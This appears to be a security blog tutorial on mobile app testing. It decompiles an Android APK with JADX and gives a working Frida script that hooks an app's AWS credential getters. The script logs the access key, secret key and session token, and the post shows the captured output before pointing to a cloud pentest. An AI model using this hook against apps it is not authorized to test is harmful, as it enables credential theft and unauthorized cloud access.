Hacking Android Apps With Frida

Matthew Keeley
February 27, 2024

Introduction

Hey folks! So this week I was working on hacking some mobile applications. While searching for tutorials on finding hard-to-reach vulnerabilities with critical and high impact, I couldn’t find any, so I decided to write one myself. Hope you find it helpful! Enjoy!

Obtaining an APK for Android

First things first, let’s snag an APK file to work with. The easiest thing to do, is grab it from the Google Play Store, App Development Server or some of the online APK websites. Im not going to talk much about this since its been covered in a few hundred other blog posts.

Reverse Engineering the Source Code

Once you have the APK, the next step is to use JADX, an open-source tool designed for decompiling DEX (Dalvik Executable) files. DEX files contain the compiled byte code used by the Android runtime. JADX breaks down these files to convert the APK into Java files, making it easily understandable for humans.

❯ jadx -d android_java_file app.apk
INFO  - loading ...
INFO  - processing ...
ERROR - finished with errors, count: 69

At this point, it’s less of mobile hacking and more of a code review, but that’s where the best bugs are found. Generally, you can do candidate point tracing, dynamic analysis or runtime source code review methods, or do some static analysis and use grep to find keywords. I generally do a combination of both for the best results.

So when looking through and Java code, I came across this function:

package com.sdk.AWSCredentials;
/* loaded from: classes2.dex */
public class AWSCredentials implements AWSSessionCredentials {
    private final String awsAccessKey;
    private final String awsSecretKey;
    private final String sessionToken;

    public AWSCredentials(String str, String str2, String str3) {
        this.awsAccessKey = str;
        this.awsSecretKey = str2;
        this.sessionToken = str3;
    }

    @Override 
    public String getAWSAccessKeyId() {
        return this.awsAccessKey;
    }

    @Override
    public String getAWSSecretKey() {
        return this.awsSecretKey;
    }

    @Override
    public String getSessionToken() {
        return this.sessionToken;
    }
}

Essentially, it’s a set of helper functions used in the codebase for obtaining AWS credentials. However, these credentials weren’t hardcoded in the source code; instead, they were encrypted on disk, making it a challenge to access. I attempted various methods to dump the keystore on Android but struggled to do so without repacking the app. Opting for a different approach, I focused on obtaining the credentials before they are encrypted.

Writing a Frida Script

Frida is a dynamic instrumentation toolkit that enables developers, researchers, and security professionals to analyze and manipulate the behavior of software at runtime. We are going to use Frida to monitor when the class methods are called, and what data they return:

const targetProcess = 'io.prodefense.rep';
const targetClass = 'com.sdk.AWSCredentials';
const getAWSAccessKeyIdMethod = 'getAWSAccessKeyId';
const getAWSSecretKeyMethod = 'getAWSSecretKey';
const getSessionTokenMethod = 'getSessionToken';

function traceSessionCredentials() {
    try {
        const targetClassHandle = Java.use(targetClass);
        if (!targetClassHandle) {
            console.error('Unable to find the target class:', targetClass);
            return;
        }

        const getAWSAccessKeyIdMethodHandle = targetClassHandle[getAWSAccessKeyIdMethod];
        const getAWSSecretKeyMethodHandle = targetClassHandle[getAWSSecretKeyMethod];
        const getSessionTokenMethodHandle = targetClassHandle[getSessionTokenMethod];

        if (!getAWSAccessKeyIdMethodHandle || !getAWSSecretKeyMethodHandle || !getSessionTokenMethodHandle) {
            console.error('Unable to find one or more methods in the class:', targetClass);
            targetClassHandle.$dispose();
            return;
        }

        getAWSAccessKeyIdMethodHandle.implementation = function () {
            try {
                const accessKeyId = this[getAWSAccessKeyIdMethod]();
                console.log('AWS Access Key ID:', accessKeyId);
                return accessKeyId;
            } catch (error) {
                console.error('Error in getAWSAccessKeyId implementation:', error);
                throw error;
            }
        };

        getAWSSecretKeyMethodHandle.implementation = function () {
            try {
                const secretKey = this[getAWSSecretKeyMethod]();
                console.log('AWS Secret Key:', secretKey);
                return secretKey;
            } catch (error) {
                console.error('Error in getAWSSecretKey implementation:', error);
                throw error;
            }
        };

        getSessionTokenMethodHandle.implementation = function () {
            try {
                const sessionToken = this[getSessionTokenMethod]();
                console.log('Session Token:', sessionToken);
                return sessionToken;
            } catch (error) {
                console.error('Error in getSessionToken implementation:', error);
                throw error;
            }
        };

        console.log('Successfully hooked methods in:', targetClass);
        targetClassHandle.$dispose();
    } catch (error) {
        console.error('Error in traceSessionCredentials:', error);
    }
}

if (Java.available) {
    Java.perform(function () {
        traceSessionCredentials();
    });
} else {
    console.error('Java is not available. Make sure you are attached to the correct process.');
}

You can run this script by running the command:
frida -U -l session_trace.js -f io.prodefense.rep

Which will result in the following:

[Pixel 3a::io.prodefense.rep ]-> Successfully hooked methods in: com.sdk.AWSCredentials
AWS Access Key ID: ASIA[REDACTED]
AWS Secret Key: p7sjfls[REDACTED]
Session Token: 2hsy7sf[REDACTED]

Woot Woot! 🎉 We’ve successfully captured the AWS Credentials! Now, where do we go from here? Well, my friend, the world is your oyster! The extracted AWS credentials open the door to a full cloud pentest! Happy Hacking!

Feel free to reach out on LinkedIn or Twitter for a chat. Peace!

Subscribe to our blog

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Matthew Keeley
February 14, 2023

Check out our other posts